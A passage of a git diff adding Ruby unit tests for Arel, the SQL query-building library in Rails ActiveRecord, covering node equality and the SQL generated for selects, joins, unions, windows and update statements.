+        @visitor = Visitors::ToSql.new Table.engine.lease_connection
+      end
+
+      def compile(node)
+        @visitor.accept(node, Collectors::SQLString.new).value
+      end
+
+      describe "sql" do
+        it "makes a sql literal node" do
+          sql = Arel.sql "foo"
+          _(sql).must_be_kind_of Arel::Nodes::SqlLiteral
+        end
+      end
+
+      describe "count" do
+        it "makes a count node" do
+          node = SqlLiteral.new("*").count
+          _(compile(node)).must_be_like %{ COUNT(*) }
+        end
+
+        it "makes a distinct node" do
+          node = SqlLiteral.new("*").count true
+          _(compile(node)).must_be_like %{ COUNT(DISTINCT *) }
+        end
+      end
+
+      describe "equality" do
+        it "makes an equality node" do
+          node = SqlLiteral.new("foo").eq(1)
+          _(compile(node)).must_be_like %{ foo = 1 }
+        end
+
+        it "is equal with equal contents" do
+          array = [SqlLiteral.new("foo"), SqlLiteral.new("foo")]
+          assert_equal 1, array.uniq.size
+        end
+
+        it "is not equal with different contents" do
+          array = [SqlLiteral.new("foo"), SqlLiteral.new("bar")]
+          assert_equal 2, array.uniq.size
+        end
+      end
+
+      describe 'grouped "or" equality' do
+        it "makes a grouping node with an or node" do
+          node = SqlLiteral.new("foo").eq_any([1, 2])
+          _(compile(node)).must_be_like %{ (foo = 1 OR foo = 2) }
+        end
+      end
+
+      describe 'grouped "and" equality' do
+        it "makes a grouping node with an and node" do
+          node = SqlLiteral.new("foo").eq_all([1, 2])
+          _(compile(node)).must_be_like %{ (foo = 1 AND foo = 2) }
+        end
+      end
+
+      describe "serialization" do
+        it "serializes into YAML" do
+          yaml_literal = SqlLiteral.new("foo").to_yaml
+          assert_equal("foo", YAML.load(yaml_literal))
+        end
+      end
+
+      describe "addition" do
+        it "generates a Fragments node" do
+          sql1 = Arel.sql "SELECT *"
+          sql2 = Arel.sql "FROM users"
+          fragments = sql1 + sql2
+          _(fragments).must_be_kind_of Arel::Nodes::Fragments
+          assert_equal([sql1, sql2], fragments.values)
+        end
+
+        it "fails if joined with something that is not an Arel node" do
+          sql = Arel.sql "SELECT *"
+          assert_raises ArgumentError do
+            sql + "Not a node"
+          end
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/arel/nodes/sum_test.rb b/activerecord/test/cases/arel/nodes/sum_test.rb
new file mode 100644
index 0000000000000..4e7c797fe5573
--- /dev/null
+++ b/activerecord/test/cases/arel/nodes/sum_test.rb
@@ -0,0 +1,35 @@
+# frozen_string_literal: true
+
+require_relative "../helper"
+
+class Arel::Nodes::SumTest < Arel::Spec
+  describe "as" do
+    it "should alias the sum" do
+      table = Arel::Table.new :users
+      _(table[:id].sum.as("foo").to_sql).must_be_like %{
+        SUM("users"."id") AS foo
+      }
+    end
+  end
+
+  describe "equality" do
+    it "is equal with equal ivars" do
+      array = [Arel::Nodes::Sum.new("foo"), Arel::Nodes::Sum.new("foo")]
+      assert_equal 1, array.uniq.size
+    end
+
+    it "is not equal with different ivars" do
+      array = [Arel::Nodes::Sum.new("foo"), Arel::Nodes::Sum.new("foo!")]
+      assert_equal 2, array.uniq.size
+    end
+  end
+
+  describe "order" do
+    it "should order the sum" do
+      table = Arel::Table.new :users
+      _(table[:id].sum.desc.to_sql).must_be_like %{
+        SUM("users"."id") DESC
+      }
+    end
+  end
+end
diff --git a/activerecord/test/cases/arel/nodes/table_alias_test.rb b/activerecord/test/cases/arel/nodes/table_alias_test.rb
new file mode 100644
index 0000000000000..44216ff2a2660
--- /dev/null
+++ b/activerecord/test/cases/arel/nodes/table_alias_test.rb
@@ -0,0 +1,41 @@
+# frozen_string_literal: true
+
+require_relative "../helper"
+
+module Arel
+  module Nodes
+    class TableAliasTest < Arel::Spec
+      describe "equality" do
+        it "is equal with equal ivars" do
+          relation1 = Table.new(:users)
+          node1     = TableAlias.new relation1, :foo
+          relation2 = Table.new(:users)
+          node2     = TableAlias.new relation2, :foo
+          array = [node1, node2]
+          assert_equal 1, array.uniq.size
+        end
+
+        it "is not equal with different ivars" do
+          relation1 = Table.new(:users)
+          node1     = TableAlias.new relation1, :foo
+          relation2 = Table.new(:users)
+          node2     = TableAlias.new relation2, :bar
+          array = [node1, node2]
+          assert_equal 2, array.uniq.size
+        end
+      end
+
+      describe "#to_cte" do
+        it "returns a Cte node using the TableAlias's name and relation" do
+          relation = Table.new(:users).project(Arel.star)
+          table_alias = TableAlias.new(relation, :foo)
+          cte = table_alias.to_cte
+
+          assert_kind_of Arel::Nodes::Cte, cte
+          assert_equal :foo, cte.name
+          assert_equal relation, cte.relation
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/arel/nodes/true_test.rb b/activerecord/test/cases/arel/nodes/true_test.rb
new file mode 100644
index 0000000000000..d5bc932756ded
--- /dev/null
+++ b/activerecord/test/cases/arel/nodes/true_test.rb
@@ -0,0 +1,21 @@
+# frozen_string_literal: true
+
+require_relative "../helper"
+
+module Arel
+  module Nodes
+    class TrueTest < Arel::Spec
+      describe "equality" do
+        it "is equal to other true nodes" do
+          array = [True.new, True.new]
+          assert_equal 1, array.uniq.size
+        end
+
+        it "is not equal with other nodes" do
+          array = [True.new, Node.new]
+          assert_equal 2, array.uniq.size
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/arel/nodes/unary_operation_test.rb b/activerecord/test/cases/arel/nodes/unary_operation_test.rb
new file mode 100644
index 0000000000000..5f603a736b9fb
--- /dev/null
+++ b/activerecord/test/cases/arel/nodes/unary_operation_test.rb
@@ -0,0 +1,41 @@
+# frozen_string_literal: true
+
+require_relative "../helper"
+
+module Arel
+  module Nodes
+    class TestUnaryOperation < Arel::Test
+      def test_construct
+        operation = UnaryOperation.new :-, 1
+        assert_equal :-, operation.operator
+        assert_equal 1, operation.expr
+      end
+
+      def test_operation_alias
+        operation = UnaryOperation.new :-, 1
+        aliaz = operation.as("zomg")
+        assert_kind_of As, aliaz
+        assert_equal operation, aliaz.left
+        assert_equal "zomg", aliaz.right
+      end
+
+      def test_operation_ordering
+        operation = UnaryOperation.new :-, 1
+        ordering = operation.desc
+        assert_kind_of Descending, ordering
+        assert_equal operation, ordering.expr
+        assert_predicate ordering, :descending?
+      end
+
+      def test_equality_with_same_ivars
+        array = [UnaryOperation.new(:-, 1), UnaryOperation.new(:-, 1)]
+        assert_equal 1, array.uniq.size
+      end
+
+      def test_inequality_with_different_ivars
+        array = [UnaryOperation.new(:-, 1), UnaryOperation.new(:-, 2)]
+        assert_equal 2, array.uniq.size
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/arel/nodes/update_statement_test.rb b/activerecord/test/cases/arel/nodes/update_statement_test.rb
new file mode 100644
index 0000000000000..0b80e4d435dc6
--- /dev/null
+++ b/activerecord/test/cases/arel/nodes/update_statement_test.rb
@@ -0,0 +1,64 @@
+# frozen_string_literal: true
+
+require_relative "../helper"
+
+class Arel::Nodes::UpdateStatementTest < Arel::Spec
+  describe "#clone" do
+    it "clones wheres and values" do
+      statement = Arel::Nodes::UpdateStatement.new
+      statement.wheres = %w[a b c]
+      statement.values = %w[x y z]
+
+      dolly = statement.clone
+      _(dolly.wheres).must_equal statement.wheres
+      _(dolly.wheres).wont_be_same_as statement.wheres
+
+      _(dolly.values).must_equal statement.values
+      _(dolly.values).wont_be_same_as statement.values
+    end
+  end
+
+  describe "equality" do
+    it "is equal with equal ivars" do
+      statement1 = Arel::Nodes::UpdateStatement.new
+      statement1.relation = "zomg"
+      statement1.wheres   = 2
+      statement1.values   = false
+      statement1.orders   = %w[x y z]
+      statement1.limit    = 42
+      statement1.key      = "zomg"
+      statement1.groups   = ["foo"]
+      statement1.havings  = []
+      statement2 = Arel::Nodes::UpdateStatement.new
+      statement2.relation = "zomg"
+      statement2.wheres   = 2
+      statement2.values   = false
+      statement2.orders   = %w[x y z]
+      statement2.limit    = 42
+      statement2.key      = "zomg"
+      statement2.groups   = ["foo"]
+      statement2.havings  = []
+      array = [statement1, statement2]
+      assert_equal 1, array.uniq.size
+    end
+
+    it "is not equal with different ivars" do
+      statement1 = Arel::Nodes::UpdateStatement.new
+      statement1.relation = "zomg"
+      statement1.wheres   = 2
+      statement1.values   = false
+      statement1.orders   = %w[x y z]
+      statement1.limit    = 42
+      statement1.key      = "zomg"
+      statement2 = Arel::Nodes::UpdateStatement.new
+      statement2.relation = "zomg"
+      statement2.wheres   = 2
+      statement2.values   = false
+      statement2.orders   = %w[x y z]
+      statement2.limit    = 42
+      statement2.key      = "wth"
+      array = [statement1, statement2]
+      assert_equal 2, array.uniq.size
+    end
+  end
+end
diff --git a/activerecord/test/cases/arel/nodes/window_test.rb b/activerecord/test/cases/arel/nodes/window_test.rb
new file mode 100644
index 0000000000000..1538508f79611
--- /dev/null
+++ b/activerecord/test/cases/arel/nodes/window_test.rb
@@ -0,0 +1,81 @@
+# frozen_string_literal: true
+
+require_relative "../helper"
+
+module Arel
+  module Nodes
+    class WindowTest < Arel::Spec
+      describe "equality" do
+        it "is equal with equal ivars" do
+          window1 = Window.new
+          window1.orders = [1, 2]
+          window1.partitions = [1]
+          window1.frame 3
+          window2 = Window.new
+          window2.orders = [1, 2]
+          window2.partitions = [1]
+          window2.frame 3
+          array = [window1, window2]
+          assert_equal 1, array.uniq.size
+        end
+
+        it "is not equal with different ivars" do
+          window1 = Window.new
+          window1.orders = [1, 2]
+          window1.partitions = [1]
+          window1.frame 3
+          window2 = Window.new
+          window2.orders = [1, 2]
+          window1.partitions = [1]
+          window2.frame 4
+          array = [window1, window2]
+          assert_equal 2, array.uniq.size
+        end
+      end
+    end
+
+    describe "NamedWindow" do
+      describe "equality" do
+        it "is equal with equal ivars" do
+          window1 = NamedWindow.new "foo"
+          window1.orders = [1, 2]
+          window1.partitions = [1]
+          window1.frame 3
+          window2 = NamedWindow.new "foo"
+          window2.orders = [1, 2]
+          window2.partitions = [1]
+          window2.frame 3
+          array = [window1, window2]
+          assert_equal 1, array.uniq.size
+        end
+
+        it "is not equal with different ivars" do
+          window1 = NamedWindow.new "foo"
+          window1.orders = [1, 2]
+          window1.partitions = [1]
+          window1.frame 3
+          window2 = NamedWindow.new "bar"
+          window2.orders = [1, 2]
+          window2.partitions = [1]
+          window2.frame 3
+          array = [window1, window2]
+          assert_equal 2, array.uniq.size
+        end
+      end
+    end
+
+    describe "CurrentRow" do
+      describe "equality" do
+        it "is equal to other current row nodes" do
+          array = [CurrentRow.new, CurrentRow.new]
+          assert_equal 1, array.uniq.size
+        end
+
+        it "is not equal with other nodes" do
+          array = [CurrentRow.new, Node.new]
+          assert_equal 2, array.uniq.size
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/arel/nodes_test.rb b/activerecord/test/cases/arel/nodes_test.rb
new file mode 100644
index 0000000000000..e042ca16039a6
--- /dev/null
+++ b/activerecord/test/cases/arel/nodes_test.rb
@@ -0,0 +1,35 @@
+# frozen_string_literal: true
+
+require_relative "helper"
+
+module Arel
+  module Nodes
+    class TestNodes < Arel::Test
+      def test_every_arel_nodes_have_hash_eql_eqeq_from_same_class
+        # #descendants code from activesupport
+        node_descendants = []
+        ObjectSpace.each_object(Arel::Nodes::Node.singleton_class) do |k|
+          next if k.respond_to?(:singleton_class?) && k.singleton_class?
+          node_descendants.unshift k unless k == self
+        end
+        node_descendants.delete(Arel::Nodes::Node)
+        node_descendants.delete(Arel::Nodes::NodeExpression)
+
+        bad_node_descendants = node_descendants.reject do |subnode|
+          eqeq_method = subnode.instance_method(:==)
+          eqeq_owner = eqeq_method.owner
+          eql_owner = subnode.instance_method(:eql?).owner
+          hash_owner = subnode.instance_method(:hash).owner
+
+          eqeq_method.super_method && # Not using the ruby default #== method
+              eqeq_owner == eql_owner &&
+              eqeq_owner == hash_owner
+        end
+
+        problem_msg = "Some subclasses of Arel::Nodes::Node do not have a" \
+            " #== or #eql? or #hash defined from the same class as the others"
+        assert_empty bad_node_descendants, problem_msg
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/arel/select_manager_test.rb b/activerecord/test/cases/arel/select_manager_test.rb
new file mode 100644
index 0000000000000..a07d0b9d699af
--- /dev/null
+++ b/activerecord/test/cases/arel/select_manager_test.rb
@@ -0,0 +1,1238 @@
+# frozen_string_literal: true
+
+require_relative "helper"
+
+module Arel
+  class SelectManagerTest < Arel::Spec
+    def test_join_sources
+      manager = Arel::SelectManager.new
+      manager.join_sources << Arel::Nodes::StringJoin.new(Nodes.build_quoted("foo"))
+      assert_equal "SELECT FROM 'foo'", manager.to_sql
+    end
+
+    describe "backwards compatibility" do
+      describe "project" do
+        it "accepts symbols as sql literals" do
+          table   = Table.new :users
+          manager = Arel::SelectManager.new
+          manager.project :id
+          manager.from table
+          _(manager.to_sql).must_be_like %{
+            SELECT id FROM "users"
+          }
+        end
+      end
+
+      describe "order" do
+        it "accepts symbols" do
+          table   = Table.new :users
+          manager = Arel::SelectManager.new
+          manager.project Nodes::SqlLiteral.new "*"
+          manager.from table
+          manager.order :foo
+          _(manager.to_sql).must_be_like %{ SELECT * FROM "users" ORDER BY foo }
+        end
+      end
+
+      describe "group" do
+        it "takes a symbol" do
+          table   = Table.new :users
+          manager = Arel::SelectManager.new
+          manager.from table
+          manager.group :foo
+          _(manager.to_sql).must_be_like %{ SELECT FROM "users" GROUP BY foo }
+        end
+      end
+
+      describe "as" do
+        it "makes an AS node by grouping the AST" do
+          manager = Arel::SelectManager.new
+          as = manager.as(Arel.sql("foo"))
+          assert_kind_of Arel::Nodes::Grouping, as.left
+          assert_equal manager.ast, as.left.expr
+          assert_equal "foo", as.right
+        end
+
+        it "converts right to SqlLiteral if a string" do
+          manager = Arel::SelectManager.new
+          as = manager.as("foo")
+          assert_kind_of Arel::Nodes::SqlLiteral, as.right
+        end
+
+        it "can make a subselect" do
+          manager = Arel::SelectManager.new
+          manager.project Arel.star
+          manager.from Arel.sql("zomg")
+          as = manager.as(Arel.sql("foo"))
+
+          manager = Arel::SelectManager.new
+          manager.project Arel.sql("name")
+          manager.from as
+          _(manager.to_sql).must_be_like "SELECT name FROM (SELECT * FROM zomg) foo"
+        end
+      end
+
+      describe "from" do
+        it "ignores strings when table of same name exists" do
+          table   = Table.new :users
+          manager = Arel::SelectManager.new
+
+          manager.from table
+          manager.from "users"
+          manager.project table["id"]
+          _(manager.to_sql).must_be_like 'SELECT "users"."id" FROM users'
+        end
+
+        it "should support any ast" do
+          table = Table.new :users
+          manager1 = Arel::SelectManager.new
+
+          manager2 = Arel::SelectManager.new
+          manager2.project(Arel.sql("*"))
+          manager2.from table
+
+          manager1.project Arel.sql("lol")
+          as = manager2.as Arel.sql("omg")
+          manager1.from(as)
+
+          _(manager1.to_sql).must_be_like %{
+            SELECT lol FROM (SELECT * FROM "users") omg
+          }
+        end
+      end
+
+      describe "having" do
+        it "converts strings to SQLLiterals" do
+          table = Table.new :users
+          mgr = table.from
+          mgr.having Arel.sql("foo")
+          _(mgr.to_sql).must_be_like %{ SELECT FROM "users" HAVING foo }
+        end
+
+        it "can have multiple items specified separately" do
+          table = Table.new :users
+          mgr = table.from
+          mgr.having Arel.sql("foo")
+          mgr.having Arel.sql("bar")
+          _(mgr.to_sql).must_be_like %{ SELECT FROM "users" HAVING foo AND bar }
+        end
+
+        it "can receive any node" do
+          table = Table.new :users
+          mgr = table.from
+          mgr.having Arel::Nodes::And.new([Arel.sql("foo"), Arel.sql("bar")])
+          _(mgr.to_sql).must_be_like %{ SELECT FROM "users" HAVING foo AND bar }
+        end
+      end
+
+      describe "on" do
+        it "converts to sqlliterals" do
+          table = Table.new :users
+          right = table.alias
+          mgr   = table.from
+          mgr.join(right).on("omg")
+          _(mgr.to_sql).must_be_like %{ SELECT FROM "users" INNER JOIN "users" "users_2" ON omg }
+        end
+
+        it "converts to sqlliterals with multiple items" do
+          table = Table.new :users
+          right = table.alias
+          mgr   = table.from
+          mgr.join(right).on("omg", "123")
+          _(mgr.to_sql).must_be_like %{ SELECT FROM "users" INNER JOIN "users" "users_2" ON omg AND 123 }
+        end
+      end
+    end
+
+    describe "clone" do
+      it "creates new cores" do
+        table = Table.new :users, as: "foo"
+        mgr = table.from
+        m2 = mgr.clone
+        m2.project "foo"
+        _(mgr.to_sql).wont_equal m2.to_sql
+      end
+
+      it "makes updates to the correct copy" do
+        table = Table.new :users, as: "foo"
+        mgr = table.from
+        m2 = mgr.clone
+        m3 = m2.clone
+        m2.project "foo"
+        _(mgr.to_sql).wont_equal m2.to_sql
+        _(m3.to_sql).must_equal mgr.to_sql
+      end
+    end
+
+    describe "initialize" do
+      it "uses alias in sql" do
+        table = Table.new :users, as: "foo"
+        mgr = table.from
+        mgr.skip 10
+        _(mgr.to_sql).must_be_like %{ SELECT FROM "users" "foo" OFFSET 10 }
+      end
+    end
+
+    describe "skip" do
+      it "should add an offset" do
+        table = Table.new :users
+        mgr = table.from
+        mgr.skip 10
+        _(mgr.to_sql).must_be_like %{ SELECT FROM "users" OFFSET 10 }
+      end
+
+      it "should chain" do
+        table = Table.new :users
+        mgr = table.from
+        _(mgr.skip(10).to_sql).must_be_like %{ SELECT FROM "users" OFFSET 10 }
+      end
+    end
+
+    describe "offset" do
+      it "should add an offset" do
+        table = Table.new :users
+        mgr = table.from
+        mgr.offset = 10
+        _(mgr.to_sql).must_be_like %{ SELECT FROM "users" OFFSET 10 }
+      end
+
+      it "should remove an offset" do
+        table = Table.new :users
+        mgr = table.from
+        mgr.offset = 10
+        _(mgr.to_sql).must_be_like %{ SELECT FROM "users" OFFSET 10 }
+
+        mgr.offset = nil
+        _(mgr.to_sql).must_be_like %{ SELECT FROM "users" }
+      end
+
+      it "should return the offset" do
+        table = Table.new :users
+        mgr = table.from
+        mgr.offset = 10
+        assert_equal 10, mgr.offset
+      end
+    end
+
+    describe "exists" do
+      it "should create an exists clause" do
+        table = Table.new(:users)
+        manager = Arel::SelectManager.new table
+        manager.project Nodes::SqlLiteral.new "*"
+        m2 = Arel::SelectManager.new
+        m2.project manager.exists
+        _(m2.to_sql).must_be_like %{ SELECT EXISTS (#{manager.to_sql}) }
+      end
+
+      it "can be aliased" do
+        table = Table.new(:users)
+        manager = Arel::SelectManager.new table
+        manager.project Nodes::SqlLiteral.new "*"
+        m2 = Arel::SelectManager.new
+        m2.project manager.exists.as("foo")
+        _(m2.to_sql).must_be_like %{ SELECT EXISTS (#{manager.to_sql}) AS foo }
+      end
+    end
+
+    describe "union" do
+      before do
+        table = Table.new :users
+        @m1 = Arel::SelectManager.new table
+        @m1.project Arel.star
+        @m1.where(table[:age].lt(18))
+
+        @m2 = Arel::SelectManager.new table
+        @m2.project Arel.star
+        @m2.where(table[:age].gt(99))
+      end
+
+      it "should union two managers" do
+        # FIXME should this union "managers" or "statements" ?
+        # FIXME this probably shouldn't return a node
+        node = @m1.union @m2
+
+        # maybe FIXME: decide when wrapper parens are needed
+        _(node.to_sql).must_be_like %{
+          ( SELECT * FROM "users"  WHERE "users"."age" < 18 UNION SELECT * FROM "users"  WHERE "users"."age" > 99 )
+        }
+      end
+
+      it "should union all" do
+        node = @m1.union :all, @m2
+
+        _(node.to_sql).must_be_like %{
+          ( SELECT * FROM "users"  WHERE "users"."age" < 18 UNION ALL SELECT * FROM "users"  WHERE "users"."age" > 99 )
+        }
+      end
+    end
+
+    describe "intersect" do
+      before do
+        table = Table.new :users
+        @m1 = Arel::SelectManager.new table
+        @m1.project Arel.star
+        @m1.where(table[:age].gt(18))
+
+        @m2 = Arel::SelectManager.new table
+        @m2.project Arel.star
+        @m2.where(table[:age].lt(99))
+      end
+
+      it "should intersect two managers" do
+        # FIXME should this intersect "managers" or "statements" ?
+        # FIXME this probably shouldn't return a node
+        node = @m1.intersect @m2
+
+        # maybe FIXME: decide when wrapper parens are needed
+        _(node.to_sql).must_be_like %{
+          ( SELECT * FROM "users"  WHERE "users"."age" > 18 INTERSECT SELECT * FROM "users"  WHERE "users"."age" < 99 )
+        }
+      end
+    end
+
+    describe "except" do
+      before do
+        table = Table.new :users
+        @m1 = Arel::SelectManager.new table
+        @m1.project Arel.star
+        @m1.where(table[:age].between(18..60))
+
+        @m2 = Arel::SelectManager.new table
+        @m2.project Arel.star
+        @m2.where(table[:age].between(40..99))
+      end
+
+      it "should except two managers" do
+        # FIXME should this except "managers" or "statements" ?
+        # FIXME this probably shouldn't return a node
+        node = @m1.except @m2
+
+        # maybe FIXME: decide when wrapper parens are needed
+        _(node.to_sql).must_be_like %{
+          ( SELECT * FROM "users"  WHERE "users"."age" BETWEEN 18 AND 60 EXCEPT SELECT * FROM "users"  WHERE "users"."age" BETWEEN 40 AND 99 )
+        }
+      end
+    end
+
+    describe "with" do
+      it "should support basic WITH" do
+        users          = Table.new(:users)
+        users_top      = Table.new(:users_top)
+        comments       = Table.new(:comments)
+
+        top            = users.project(users[:id]).where(users[:karma].gt(100))
+        users_as       = Arel::Nodes::As.new(users_top, top)
+        select_manager = comments.project(Arel.star).with(users_as)
+                          .where(comments[:author_id].in(users_top.project(users_top[:id])))
+
+        _(select_manager.to_sql).must_be_like %{
+          WITH "users_top" AS (SELECT "users"."id" FROM "users" WHERE "users"."karma" > 100) SELECT * FROM "comments" WHERE "comments"."author_id" IN (SELECT "users_top"."id" FROM "users_top")
+        }
+      end
+
+      it "should support WITH RECURSIVE" do
+        comments           = Table.new(:comments)
+        comments_id        = comments[:id]
+        comments_parent_id = comments[:parent_id]
+
+        replies            = Table.new(:replies)
+        replies_id         = replies[:id]
+
+        non_recursive_term = Arel::SelectManager.new
+        non_recursive_term.from(comments).project(comments_id, comments_parent_id).where(comments_id.eq 42)
+
+        recursive_term = Arel::SelectManager.new
+        recursive_term.from(comments).project(comments_id, comments_parent_id).join(replies).on(comments_parent_id.eq replies_id)
+
+        union = non_recursive_term.union(recursive_term)
+
+        as_statement = Arel::Nodes::As.new replies, union
+
+        manager = Arel::SelectManager.new
+        manager.with(:recursive, as_statement).from(replies).project(Arel.star)
+
+        sql = manager.to_sql
+        _(sql).must_be_like %{
+          WITH RECURSIVE "replies" AS (
+              SELECT "comments"."id", "comments"."parent_id" FROM "comments" WHERE "comments"."id" = 42
+            UNION
+              SELECT "comments"."id", "comments"."parent_id" FROM "comments" INNER JOIN "replies" ON "comments"."parent_id" = "replies"."id"
+          )
+          SELECT * FROM "replies"
+        }
+      end
+    end
+
+    describe "ast" do
+      it "should return the ast" do
+        table = Table.new :users
+        mgr = table.from
+        assert mgr.ast
+      end
+    end
+
+    describe "taken" do
+      it "should return limit" do
+        manager = Arel::SelectManager.new
+        manager.take 10
+        _(manager.taken).must_equal 10
+      end
+    end
+
+    describe "lock" do
+      # This should fail on other databases
+      it "adds a lock node" do
+        table = Table.new :users
+        mgr = table.from
+        _(mgr.lock.to_sql).must_be_like %{ SELECT FROM "users" FOR UPDATE }
+      end
+    end
+
+    describe "orders" do
+      it "returns order clauses" do
+        table   = Table.new :users
+        manager = Arel::SelectManager.new
+        order = table[:id]
+        manager.order table[:id]
+        _(manager.orders).must_equal [order]
+      end
+    end
+
+    describe "order" do
+      it "generates order clauses" do
+        table   = Table.new :users
+        manager = Arel::SelectManager.new
+        manager.project Nodes::SqlLiteral.new "*"
+        manager.from table
+        manager.order table[:id]
+        _(manager.to_sql).must_be_like %{
+          SELECT * FROM "users" ORDER BY "users"."id"
+        }
+      end
+
+      # FIXME: I would like to deprecate this
+      it "takes *args" do
+        table   = Table.new :users
+        manager = Arel::SelectManager.new
+        manager.project Nodes::SqlLiteral.new "*"
+        manager.from table
+        manager.order table[:id], table[:name]
+        _(manager.to_sql).must_be_like %{
+          SELECT * FROM "users" ORDER BY "users"."id", "users"."name"
+        }
+      end
+
+      it "chains" do
+        table   = Table.new :users
+        manager = Arel::SelectManager.new
+        _(manager.order(table[:id])).must_equal manager
+      end
+
+      it "has order attributes" do
+        table   = Table.new :users
+        manager = Arel::SelectManager.new
+        manager.project Nodes::SqlLiteral.new "*"
+        manager.from table
+        manager.order table[:id].desc
+        _(manager.to_sql).must_be_like %{
+          SELECT * FROM "users" ORDER BY "users"."id" DESC
+        }
+      end
+    end
+
+    describe "on" do
+      it "takes two params" do
+        left      = Table.new :users
+        right     = left.alias
+        predicate = left[:id].eq(right[:id])
+        manager   = Arel::SelectManager.new
+
+        manager.from left
+        manager.join(right).on(predicate, predicate)
+        _(manager.to_sql).must_be_like %{
+           SELECT FROM "users"
+             INNER JOIN "users" "users_2"
+               ON "users"."id" = "users_2"."id" AND
+               "users"."id" = "users_2"."id"
+        }
+      end
+
+      it "takes three params" do
+        left      = Table.new :users
+        right     = left.alias
+        predicate = left[:id].eq(right[:id])
+        manager   = Arel::SelectManager.new
+
+        manager.from left
+        manager.join(right).on(
+          predicate,
+          predicate,
+          left[:name].eq(right[:name])
+        )
+        _(manager.to_sql).must_be_like %{
+           SELECT FROM "users"
+             INNER JOIN "users" "users_2"
+               ON "users"."id" = "users_2"."id" AND
+               "users"."id" = "users_2"."id" AND
+               "users"."name" = "users_2"."name"
+        }
+      end
+    end
+
+    it "should hand back froms" do
+      relation = Arel::SelectManager.new
+      assert_equal [], relation.froms
+    end
+
+    it "should create and nodes" do
+      relation = Arel::SelectManager.new
+      children = ["foo", "bar", "baz"]
+      clause = relation.create_and children
+      assert_kind_of Arel::Nodes::And, clause
+      assert_equal children, clause.children
+    end
+
+    it "should create insert managers" do
+      relation = Arel::SelectManager.new
+      insert = relation.create_insert
+      assert_kind_of Arel::InsertManager, insert
+    end
+
+    it "should create join nodes" do
+      relation = Arel::SelectManager.new
+      join = relation.create_join "foo", "bar"
+      assert_kind_of Arel::Nodes::InnerJoin, join
+      assert_equal "foo", join.left
+      assert_equal "bar", join.right
+    end
+
+    it "should create join nodes with a full outer join klass" do
+      relation = Arel::SelectManager.new
+      join = relation.create_join "foo", "bar", Arel::Nodes::FullOuterJoin
+      assert_kind_of Arel::Nodes::FullOuterJoin, join
+      assert_equal "foo", join.left
+      assert_equal "bar", join.right
+    end
+
+    it "should create join nodes with an outer join klass" do
+      relation = Arel::SelectManager.new
+      join = relation.create_join "foo", "bar", Arel::Nodes::OuterJoin
+      assert_kind_of Arel::Nodes::OuterJoin, join
+      assert_equal "foo", join.left
+      assert_equal "bar", join.right
+    end
+
+    it "should create join nodes with a right outer join klass" do
+      relation = Arel::SelectManager.new
+      join = relation.create_join "foo", "bar", Arel::Nodes::RightOuterJoin
+      assert_kind_of Arel::Nodes::RightOuterJoin, join
+      assert_equal "foo", join.left
+      assert_equal "bar", join.right
+    end
+
+    describe "join" do
+      it "responds to join" do
+        left      = Table.new :users
+        right     = left.alias
+        predicate = left[:id].eq(right[:id])
+        manager   = Arel::SelectManager.new
+
+        manager.from left
+        manager.join(right).on(predicate)
+        _(manager.to_sql).must_be_like %{
+           SELECT FROM "users"
+             INNER JOIN "users" "users_2"
+               ON "users"."id" = "users_2"."id"
+        }
+      end
+
+      it "takes a class" do
+        left      = Table.new :users
+        right     = left.alias
+        predicate = left[:id].eq(right[:id])
+        manager   = Arel::SelectManager.new
+
+        manager.from left
+        manager.join(right, Nodes::OuterJoin).on(predicate)
+        _(manager.to_sql).must_be_like %{
+           SELECT FROM "users"
+             LEFT OUTER JOIN "users" "users_2"
+               ON "users"."id" = "users_2"."id"
+        }
+      end
+
+      it "takes the full outer join class" do
+        left      = Table.new :users
+        right     = left.alias
+        predicate = left[:id].eq(right[:id])
+        manager   = Arel::SelectManager.new
+
+        manager.from left
+        manager.join(right, Nodes::FullOuterJoin).on(predicate)
+        _(manager.to_sql).must_be_like %{
+           SELECT FROM "users"
+             FULL OUTER JOIN "users" "users_2"
+               ON "users"."id" = "users_2"."id"
+        }
+      end
+
+      it "takes the right outer join class" do
+        left      = Table.new :users
+        right     = left.alias
+        predicate = left[:id].eq(right[:id])
+        manager   = Arel::SelectManager.new
+
+        manager.from left
+        manager.join(right, Nodes::RightOuterJoin).on(predicate)
+        _(manager.to_sql).must_be_like %{
+           SELECT FROM "users"
+             RIGHT OUTER JOIN "users" "users_2"
+               ON "users"."id" = "users_2"."id"
+        }
+      end
+
+      it "noops on nil" do
+        manager = Arel::SelectManager.new
+        _(manager.join(nil)).must_equal manager
+      end
+
+      it "raises EmptyJoinError on empty" do
+        left      = Table.new :users
+        manager   = Arel::SelectManager.new
+
+        manager.from left
+        assert_raises(EmptyJoinError) do
+          manager.join("")
+        end
+      end
+    end
+
+    describe "outer join" do
+      it "responds to join" do
+        left      = Table.new :users
+        right     = left.alias
+        predicate = left[:id].eq(right[:id])
+        manager   = Arel::SelectManager.new
+
+        manager.from left
+        manager.outer_join(right).on(predicate)
+        _(manager.to_sql).must_be_like %{
+           SELECT FROM "users"
+             LEFT OUTER JOIN "users" "users_2"
+               ON "users"."id" = "users_2"."id"
+        }
+      end
+
+      it "noops on nil" do
+        manager = Arel::SelectManager.new
+        _(manager.outer_join(nil)).must_equal manager
+      end
+    end
+
+    describe "joins" do
+      it "returns inner join sql" do
+        table   = Table.new :users
+        aliaz   = table.alias
+        manager = Arel::SelectManager.new
+        manager.from Nodes::InnerJoin.new(aliaz, table[:id].eq(aliaz[:id]))
+        assert_match 'INNER JOIN "users" "users_2" "users"."id" = "users_2"."id"',
+                     manager.to_sql
+      end
+
+      it "returns outer join sql" do
+        table   = Table.new :users
+        aliaz   = table.alias
+        manager = Arel::SelectManager.new
+        manager.from Nodes::OuterJoin.new(aliaz, table[:id].eq(aliaz[:id]))
+        assert_match 'LEFT OUTER JOIN "users" "users_2" "users"."id" = "users_2"."id"',
+                     manager.to_sql
+      end
+
+      it "can have a non-table alias as relation name" do
+        users    = Table.new :users
+        comments = Table.new :comments
+
+        counts = comments.from.
+          group(comments[:user_id]).
+          project(
+            comments[:user_id].as("user_id"),
+            comments[:user_id].count.as("count")
+          ).as("counts")
+
+        joins = users.join(counts).on(counts[:user_id].eq(10))
+        _(joins.to_sql).must_be_like %{
